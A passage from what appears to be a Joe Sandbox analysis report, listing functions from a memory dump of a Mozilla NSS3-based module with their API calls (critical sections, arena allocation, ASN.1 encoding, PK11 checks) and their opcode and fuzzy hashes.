LeaveCriticalSection.KERNEL32(?), ref: 6CDE9D45
EnterCriticalSection.KERNEL32(?), ref: 6CDE9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6CDE9DDE

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 5c00e564d587d45eb3bdf7d2db62ec89043b2c47b3c2c62b62dafcb432af43af
Instruction ID: 68b162a5bf00e257b2b685015b1ee8f99fdf8a0b9d70f42b9a37703b61b2f18e
Opcode Fuzzy Hash: 5c00e564d587d45eb3bdf7d2db62ec89043b2c47b3c2c62b62dafcb432af43af
Instruction Fuzzy Hash: 6DA1F231F12100CBEB48AF65E9D97AE7BB5BB4A314F18412CD40647B64DB3AE845CB92

Function 6CE71E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6CE71ECC

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

TlsGetValue.KERNEL32 ref: 6CE71EDF
EnterCriticalSection.KERNEL32(?), ref: 6CE71EEF
PR_ExitMonitor.NSS3(?), ref: 6CE71F37
PR_Unlock.NSS3(?), ref: 6CE71F44

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 522e2d795136eca2b1649f7c863a6f336c704f58535fe8a8db2fce3f3c8a5684
Instruction ID: 7fa08c942845429a7de18d8a987a1b85818f78fbb26b09c7de06c371ee1c4aa9
Opcode Fuzzy Hash: 522e2d795136eca2b1649f7c863a6f336c704f58535fe8a8db2fce3f3c8a5684
Instruction Fuzzy Hash: 4471DF719043019FD720CF65D841A5AB7F1FF89358F24492DE8A893B10E731F959CBA2

Function 6CEFDD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CEFDD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6CEFDE77

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: 504dc9aa4d46a31e69b4552a5db660add1032f0fcfecd30d41360fafac2f70b6
Instruction ID: 984988773218dbbfc855830f7c75fc48963e607e9301680fa0e21b212cb951db
Opcode Fuzzy Hash: 504dc9aa4d46a31e69b4552a5db660add1032f0fcfecd30d41360fafac2f70b6
Instruction Fuzzy Hash: D8715875E00314CFDB10CF99C580B99BBB4BF49718F25816DD9696B701D771AA06CF90

Function 6CE6DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE71397,5B5F5EC0,?,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB3C
Part of subcall function 6CE6AB10: free.MOZGLUE(D958E836,?,6CE6B1EE,2404110F,?,?), ref: 6CE6AB49
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(5D5E6D06), ref: 6CE6AB5C
Part of subcall function 6CE6AB10: free.MOZGLUE(5D5E6CFA), ref: 6CE6AB63
Part of subcall function 6CE6AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE6AB6F
Part of subcall function 6CE6AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE6AB76

TlsGetValue.KERNEL32(?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6DFDA
EnterCriticalSection.KERNEL32(?,?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6E029
PK11_IsLoggedIn.NSS3 ref: 6CE6E046

Part of subcall function 6CE78F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FAF
Part of subcall function 6CE78F70: PR_Now.NSS3(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FD1
Part of subcall function 6CE78F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE78FFA
Part of subcall function 6CE78F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79013
Part of subcall function 6CE78F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79042
Part of subcall function 6CE78F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CE7905A
Part of subcall function 6CE78F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CE79073
Part of subcall function 6CE78F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CE6DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CE79111

PR_Unlock.NSS3(?,?,?,?,6CE6B266,6CE715C6,?,?,6CE715C6), ref: 6CE6E149

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: a1122427e56247fcbb756e667aa4eb51bf2b9170d57eae5df61ff2aef92924b4
Instruction ID: 407228ef7dbdb56b3ab84a30d8ca73375a8704efcd1849b878f3baaf0aefe313
Opcode Fuzzy Hash: a1122427e56247fcbb756e667aa4eb51bf2b9170d57eae5df61ff2aef92924b4
Instruction Fuzzy Hash: CE517A74650B01CFDB10DF2AC88476ABBF0BF44308F25896CD8998BB81D731E885CB82

Function 6CE7BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CE7BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE59F71,?,?,00000000), ref: 6CE7BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE7C014

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 04efa879844b6490c1532ab010ba7b9aa67b1f275d2acc1eb0a8686121ae4790
Instruction ID: fda92cf2ca7edc3ebd1652bb82cf31195ced08c2ae5519959832b6e9fd39c35b
Opcode Fuzzy Hash: 04efa879844b6490c1532ab010ba7b9aa67b1f275d2acc1eb0a8686121ae4790
Instruction Fuzzy Hash: 7041C171E012059BEB24CE669C85BAA73B9AF4560CF714128E818D7B81FB31E845CBE1

Function 6CE4EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE4EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE4EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE4EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE4EEEB
free.MOZGLUE(?), ref: 6CE4EEF6

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3659526d8b5e93545309329702267e87ec808b7fac17390b007a926a4936a803
Instruction ID: e36c421596277dc665ae462f6c961e31954d7db23c46a683274a3e7ad3e5aa66
Opcode Fuzzy Hash: 3659526d8b5e93545309329702267e87ec808b7fac17390b007a926a4936a803
Instruction Fuzzy Hash: 9931F571A00A019BE720DF2DEC85F66BBB4FB46348F244529E85A87B51D731E514CBD1

Function 6CE61F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE61F1C

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CF79EBC), ref: 6CE61FB8
SEC_ASN1EncodeItem_Util.NSS3(6CF79E9C,?,?,6CF79E9C), ref: 6CE6200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE62020

Part of subcall function 6CE56A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE5AD50,?,?), ref: 6CE56A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE62030

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: cd27f89df7251e186b6ccd2948fbf88d100f2b3c4bf202ce4c8fb13ec1779a91
Instruction ID: e7de890eeac1081a5996904a42c3059c48aaf8ce5ccf5b3e94f321e125894ff5
Opcode Fuzzy Hash: cd27f89df7251e186b6ccd2948fbf88d100f2b3c4bf202ce4c8fb13ec1779a91
Instruction Fuzzy Hash: 50215A75991502BBE7014B56DC41FAA7778FF5231CF340219E82896F80E732E528C7B1

Function 6CE51DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE51E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE51E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE51E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE51E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE51EAD

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 89ab7f6f798a1158721b521d65a9dad7a450c5f9ad858d9a3c90052320d7ed9a
Instruction ID: 29f8e265a4bb0f697dd40d33940949504e0605be6dbb2e1c0f59a4153259ae99
Opcode Fuzzy Hash: 89ab7f6f798a1158721b521d65a9dad7a450c5f9ad858d9a3c90052320d7ed9a
Instruction Fuzzy Hash: 18210372F04311ABE7008EA8DC40B9BB3B4DB85328FA44638ED6957780EB31D91987D2

Function 6CF61E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF61E5C

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

PR_Lock.NSS3(00000000), ref: 6CF61E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF61EAB
PR_GetCurrentThread.NSS3 ref: 6CF61ED0
PR_Unlock.NSS3(?), ref: 6CF61EE8

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: d0f9b955427394cd04f66dba66df6153830d372f768a057ac83109073d555317
Instruction ID: d32768a0711c6e718ecab383dd05def2d84ceb09979e054535b7f998504e69ec
Opcode Fuzzy Hash: d0f9b955427394cd04f66dba66df6153830d372f768a057ac83109073d555317
Instruction Fuzzy Hash: 9521CC75A14612AFD710CF2AD880A86B7B1FF54728B25C229E8198BF40D730FA20CBD1

Function 6CEABE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE5E708,00000000,00000000,00000004,00000000), ref: 6CEABE6A

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?), ref: 6CEABE7E

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?,?), ref: 6CEABED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEEB

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: e977d76ca47d8616cb7f1a72e9497d35dccdc7cd291a6e4d9408cbdc3ef30aa0
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 0E11007AE0424D6FE7008AE5AC81B2B737D9B4575CF398029EE048AB52F731D80687A1

Function 6CE5AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE53FFF,00000000,?,?,?,?,?,6CE51A1C,00000000,00000000), ref: 6CE5ADA7

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE53FFF,00000000,?,?,?,?,?,6CE51A1C,00000000,00000000), ref: 6CE5ADB4

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE53FFF,?,?,?,?,6CE53FFF,00000000,?,?,?,?,?,6CE51A1C,00000000), ref: 6CE5ADD5

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF794B0,?,?,?,?,?,?,?,?,6CE53FFF,00000000,?), ref: 6CE5ADEC

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE53FFF), ref: 6CE5AE3C

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 9dcce5a6377797651ab9db730068e94fed7938296f49e2e2e507dc6e76f5f92d
Instruction ID: e8d8502756cc929d9963d17b82691d73ddb9a6b20aea89ef7a95b58e54c2274f
Opcode Fuzzy Hash: 9dcce5a6377797651ab9db730068e94fed7938296f49e2e2e507dc6e76f5f92d
Instruction Fuzzy Hash: 38115671E002045BE7109BA5AC40BBF77B8DF9125CF60422CEC1996741FB21E9A982B2

Function 6CE68FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CE70710), ref: 6CE68FF1
PR_CallOnce.NSS3(6CFB2158,6CE69150,00000000,?,?,?,6CE69138,?,6CE70710), ref: 6CE69029
calloc.MOZGLUE(00000001,00000000,?,?,6CE70710), ref: 6CE6904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CE70710), ref: 6CE69066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CE70710), ref: 6CE69078

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: c1fcb45600b97b20f3160ae008425f54c49d10e48bd352c6f4a6d3c6b4e42854
Instruction ID: d9cdb6bd14a9c574e9dc2eb07fb7b8f893e78b1e80a585e55a5e2c6e1ef730bb
Opcode Fuzzy Hash: c1fcb45600b97b20f3160ae008425f54c49d10e48bd352c6f4a6d3c6b4e42854
Instruction Fuzzy Hash: CC11E562B6011257EBA017AFAC44A6672BCDB827ACF600521FC84C6F41F797CD4583A5

Function 6CE7CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CE91E10: TlsGetValue.KERNEL32 ref: 6CE91E36
Part of subcall function 6CE91E10: EnterCriticalSection.KERNEL32(?,?,?,6CE6B1EE,2404110F,?,?), ref: 6CE91E4B
Part of subcall function 6CE91E10: PR_Unlock.NSS3 ref: 6CE91E76

free.MOZGLUE(?,6CE7D079,00000000,00000001), ref: 6CE7CDA5
PK11_FreeSymKey.NSS3(?,6CE7D079,00000000,00000001), ref: 6CE7CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CE7D079,00000000,00000001), ref: 6CE7CDCF
DeleteCriticalSection.KERNEL32(?,6CE7D079,00000000,00000001), ref: 6CE7CDE2
free.MOZGLUE(?), ref: 6CE7CDE9

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
